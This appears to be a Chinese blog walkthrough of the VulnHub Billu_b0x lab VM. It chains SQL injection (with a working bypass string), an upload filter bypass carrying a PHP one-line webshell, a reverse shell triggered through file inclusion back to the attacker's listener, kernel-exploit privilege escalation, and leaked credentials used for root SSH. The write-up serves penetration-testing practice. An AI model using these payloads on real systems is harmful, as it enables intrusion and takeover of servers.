首页 > 其他分享 >打靶记录11——Billu_b0x

打靶记录11——Billu_b0x

时间:2024-08-15 19:04:50浏览次数:14  
标签:11 发现 shell 打靶 漏洞 SQL b0x php 上传

靶机:

https://download.vulnhub.com/billu/Billu_b0x.zip

难度:

  • 中(两种攻击路线)

目标:

  • 取得root权限

涉及的攻击方法:

  • 主机发现
  • 端口扫描
  • Web信息收集
  • SQL注入(Sqlmap跑不出来)
  • 文件包含漏洞
  • 文件上传漏洞
  • 源码审计
  • 内核漏洞提权

注意:

选择包含所有网卡的MAC地址,就能正常获取IP地址了
image.png
但是我用VirtualBox还是获取不到IP,我直接用VMware了,kali和靶机都设置成NAT模式即可

主机发现

arp-scan -l
image.png

端口扫描和服务发现

nmap -p- 192.168.174.135
image.png
nmap -p22,80 -sV -sC 192.168.174.135
image.png

SQL注入

打开浏览器,根据提示Show me your SQLI skills ,那么该页面应该是存在SQL注入这种漏洞类型的
image.png
随便输入提交之后抓包,发到BurpSuiteIntruder模块
image.png
Attack Type选择Cluster bomb集束炸弹
用户名那里使用/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt这个kali里下载的SQL测试的字典
image.png
image.png
密码那里使用burp自带的列表
image.png
image.png
发现到这些个payload的时候就成功登录了,提示You are allowed
image.png
那我们直接用这个登录,账号密码使用or%200%3d0%20%23%22 / =%5c成功登录
image.png
image.png

文件上传漏洞

发现有上传功能,尝试上传一个有一句话木马的shell.php,但是提示only png,jpg and gif file are allowed只能上传图片
image.png
Burp抓包,修改文件名后缀,Content-Type,还有添加GIF89a;文件头之后,成功上传了一个包含了一句话Webshell:<?php system($_GET["cmd"]);?>的图片文件
image.png
Show Users里查看,发现多了一个用户,然后复制图片链接去访问,发现一个新路径
http://192.168.174.135/uploaded_images/shell.png
image.png
访问发现没啥用处
image.png
访问http://192.168.174.135/uploaded_images/也是
image.png
在URL后输入?cmd=id测试一下服务器是否解析了图片里面的代码,也是失败image.png
dirsearch -u http://192.168.174.135/扫描目录发现一个add.php
image.png
看起来和前面的Add Users那里是一样的,那么服务器可能是通过加载a.php的方式在主页面实现这个功能的
image.png
image.png

文件包含漏洞

点击Add Users,然后点击Continue,然后BurpSuite抓包看看
image.png
发现是通过load参数来调用系统文件的
image.png
测试load=/etc/passwd发现不能成功,那用目录穿越的方法,改成load=../../../../../../../etc/passwd就能成功读取到文件,说明确实是存在文件包含的
image.png
image.png
那用刚刚上传了一句话木马的图片试试,发现不行,那么服务器可能是不接受这种形式的方法
image.png

反弹shell

那么我们上传一个反弹shellphp的代码试试,也就是再上传一张伪造的图片,它的扩展名仍然是png,但是内容是反弹shellphp的代码。
使用kali里面自带的/usr/share/webshells/php/php-reverse-shell.ph这个php代码的反弹shell脚本
image.png
上传时还是需要添加上GIF89a;文件头,然后IP和监听端口设置成kali
image.png
image.png
然后让Kali开启nc的监听
image.png
然后再通过文件包含漏洞去访问刚刚上传的图片,触发反弹shell
image.png
成功反弹shell之后,按照惯例升级一下shell
python -c "import pty; pty.spawn('/bin/bash')"
image.png

提权

uname -a发现是3.13的内核版本,是有内核漏洞的利用代码的
image.png
searchsploit 3.13.0搜索,发现一个C语言的代码利用脚本,之前的打靶中有使用过的,就不过多的赘述了,参考:打靶记录1——靶机medium_socnet-CSDN博客
image.png
先把代码复制到当前目录,然后开启http服务
image.png
然后让靶机下载这个exp.c,用gcc把它编译成一个二进制文件,给它执行权限,然后执行就获得root权限了
image.png
image.png
这是一种思路。

思路二

前面信息收集的时候发现了一个test路径
image.png
访问之后发现明显的提示'file' parameter is empty. Please provide file path in 'file' parameter,但是我们输入参数并赋值之后却没有内容显示
image.png
那既然Get方式不成功,还有POST方式
image.png
POST方式就成功读取到了/etc/passwd文件
image.png

任意文件下载漏洞

file=add.php直接获得了源码,说明这不是一个文件包含漏洞,而是任意文件下载漏洞,只会显示代码,不会解析代码。
image.png
那我们查看一下首页index.php,前面SQL注入漏洞的原因可能在代码中会有
image.png

<?php
  // 开始会话,确保可以使用 $_SESSION 超全局变量
  session_start();

// 包含数据库连接文件和 HTML 头部文件
include('c.php');
include('head.php');

// 检查用户是否已登录,如果没有,设置会话变量 'logged' 为一个空字符串
if(@$_SESSION['logged'] != true) {
  $_SESSION['logged'] = '';
}

// 如果用户已登录并且 'admin' 会话变量不为空
if($_SESSION['logged'] == true && $_SESSION['admin'] != '') {
  // 显示已登录的消息
  echo "you are logged in :)";
  // 重定向到 'panel.php'
  header('Location: panel.php', true, 302);
} else {
  // 如果用户没有登录,显示登录表单
  echo '<div align=center style="margin:30px 0px 0px 0px;">
    <font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> 
    <br><br>
    Show me your SQLI skills <br>
    <form method=post>
    Username :- <input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
    <input type=submit name=login value="let\'s login">';
}

// 检查是否点击了登录按钮
if(isset($_POST['login'])) {
  // 将'\'替换为''
  $uname = str_replace('\'', '', urldecode($_POST['un']));
  $pass = str_replace('\'', '', urldecode($_POST['ps']));

  // 创建 SQL 查询来检查用户名和密码是否匹配
  $run = 'select * from auth where pass=\'' . $pass . '\' and uname=\'' . $uname . '\'';
  // 执行 SQL 查询
  $result = mysqli_query($conn, $run);

  // 如果查询结果有行,则用户凭据正确
  if (mysqli_num_rows($result) > 0) {
    $row = mysqli_fetch_assoc($result);
    echo "You are allowed<br>";
    // 设置会话变量以表示用户已登录
    $_SESSION['logged'] = true;
    $_SESSION['admin'] = $row['username'];
    // 重定向到 'panel.php'
    header('Location: panel.php', true, 302);
  } else {
    // 如果凭据不匹配,显示警告信息
    echo "<script>alert('Try again');</script>";
  }
}

// 显示页脚
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>

主要漏洞在这段代码 $run = 'select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'',服务端没有进行严格的筛选和限制

  • \右斜线是转义符,相当于代码里的内容就是一个'单引号
  • 我们注入的账号密码or 0=0 #"和 /实现了万能密码的效果
  • 最终的SQL语句是这样的$run = 'select * from auth where pass='' and uname=' or 0=0 #,0=0永远为真

搞懂了SQL注入漏洞存在的原因之后,继续进行信息收集
c.php里面发现了数据库的账号密码billu``b0x_billu
image.png
前面扫描目录的时候还发现了/phpmy/这个路径,可能是phpmyadmin这个Web界面的管理程序
image.png
发现确实是phpmyadmin,使用刚刚的账号密码billu``b0x_billu成功登录进去了
image.png
image.png
auth表里面发现正常的账号密码biLLu hEx_it,可以直接登录首页
image.png
继续进行目录探测(每当我们有新的目录和路径发现的时候,从渗透、实践的角度来讲,都建议对新发现的子路径、子目录再去进行进一步的爬取,每一个子目录里面都有可能存在更多、更有价值的信息)
dirsearch -u http://192.168.174.135/phpmy/
发现了配置文件的路径/phpmy/config.inc.php
image.png
在配置文件中发现了新的账号密码root``roottoor
image.png
前面信息收集,端口扫描的时候是发现它开启了22端口的,我们尝试用这个账号密码登录一下。
发现我们直接登录进来了,称为了root用户!
image.png

总结:

  • 打完写个Note,天天打不总结都是空。
  • 虽然今天这台靶机并不存在什么高难度的、新型的漏洞类型,但是如果我们能将这种传统的漏洞类型相互结合,综合发挥它们的威力和实力的话,最后发现它能达到的攻击的效果,仍然是非常巧妙,威胁程度也是非常高的。

标签:11,发现,shell,打靶,漏洞,SQL,b0x,php,上传
From: https://www.cnblogs.com/Fab1an/p/18361629

相关文章

  • 洛谷——P1102 A-B 数对
    题目背景出题是一件痛苦的事情!相同的题目看多了也会有审美疲劳,于是我舍弃了大家所熟悉的A+BProblem,改用A-B了哈哈!题目描述给出一串正整数数列以及一个正整数CCC,......
  • 《血污:月之诅咒 2》msvcr110.dll 丢失难题深度剖析与解决方案探寻
    解决《血污:月之诅咒2》游戏中缺失msvcr110.dll文件的问题,您可以按照以下步骤操作:1.安装VisualC++RedistributablePackages:•缺失的msvcr110.dll文件属于MicrosoftVisualC++的一部分。访问微软官方网站下载并安装适合您操作系统的VisualC++RedistributableforV......
  • Windows11 微软Microsoft官方制作系统U盘方法,系统安装最详细教程
    准备一个8G容量以上的U盘制作系统盘注意,在制作系统盘时会格式化U盘,所以最好准备个空U盘,请做好备份!防止资料丢失。因为做系统盘要清空原有U盘的所有数据。制作系统盘windows系统一般建议安装最新版本,如果习惯使用win10可以安装win10版本,如果是12代之后的英特尔CPU最好安装win11,对......
  • Windows11 微软Microsoft官方系统安装、重装操作教程
    01系统镜像下载推荐到微软中国官网下载Windows正版系统,或者可以到第三方的系统镜像下载站获取下载链接,使用迅雷工具进行下载,我这里推荐两个下载站,如果不想弄迅雷下载那么麻烦,也可以用我的123盘分享下载还是那句话,非常不建议下载各种奇葩定制系统,大部分系统中有夹带私货,安全性和......
  • 【TES807】基于 XCKU115 FPGA 的双 FMC 接口万兆光纤传输信号处理平台
     板卡概述TES807是一款基于千兆或者万兆以太网传输的双FMC接口信号处理平台。该平台采用XILINX的KintexUltraSacle系列FPGA:XCKU115-2FLVF1924I作为主处理器,FPGA外挂两组72位DDR4SDRAM,用来实现超大容量数据缓存,DDR4的最高数据缓存带宽可以达到2400MHz,DDR4的缓......
  • 龙哥量化:TB交易开拓者_趋势跟踪策略_多策略对单品种_A00011880206期货量化策略
    如果您需要代写技术指标公式,请联系我。龙哥QQ:591438821龙哥微信:Long622889也可以把您的通达信,文华技术指标改成TB交易开拓者的自动交易量化策略。量化策略介绍投资标的:菜籽油(多策略对单品种)。策略分类:趋势策略。策略周期:3分钟。策略风格:短线波段,连续持......
  • 自学[vue+SpringCloud]-011-新建SpringCloud工程demo
    文章目录前言一、新建demo1.新建Maven项目2.填写项目信息二、初始化文件1.父工程的pom.xml2.子工程bztc-study01的pom.xml3.子工程的application.properties4.子工程的启动类三、启动总结前言新建SpringCloud工程demo,让工程能够启动起来。一、新建demo1.......
  • day44-dynamic programming-part11-8.15
    tasksfortoday:1.1143.最长公共子序列2.1035.不相交的线3.53.最大子序和4.392.判断子序列(编辑距离问题)------------------------------------------------------------------------------1.1143.最长公共子序列300:single,ascending,non-continuity674:s......
  • 【Python快速入门和实践011】Python常用脚本-目标检测之VOC格式转YOLO格式脚本
    一、数据集介绍        NEU-DET数据集是由东北大学(NortheasternUniversity,简称NEU)发布的一个用于钢材表面缺陷检测的数据集。这个数据集特别设计用于支持和促进工业领域中的缺陷检测研究。NEU-DET数据集的一些主要特点包括:多样性和复杂性:数据集包含了多种类型......
  • 解决“往日不再”DX11错误的全面指南:探究原因与提供实用解决方案
    《往日不再》(DaysGone)是一款由BendStudio开发、SonyInteractiveEntertainment发行的末世生存动作冒险游戏。该游戏最初为PlayStation4平台独占,后移植到PC平台,让更多的玩家能够体验其扣人心弦的故事和紧张刺激的游戏玩法。然而,在PC平台上运行时,部分玩家可能会遇到DirectX1......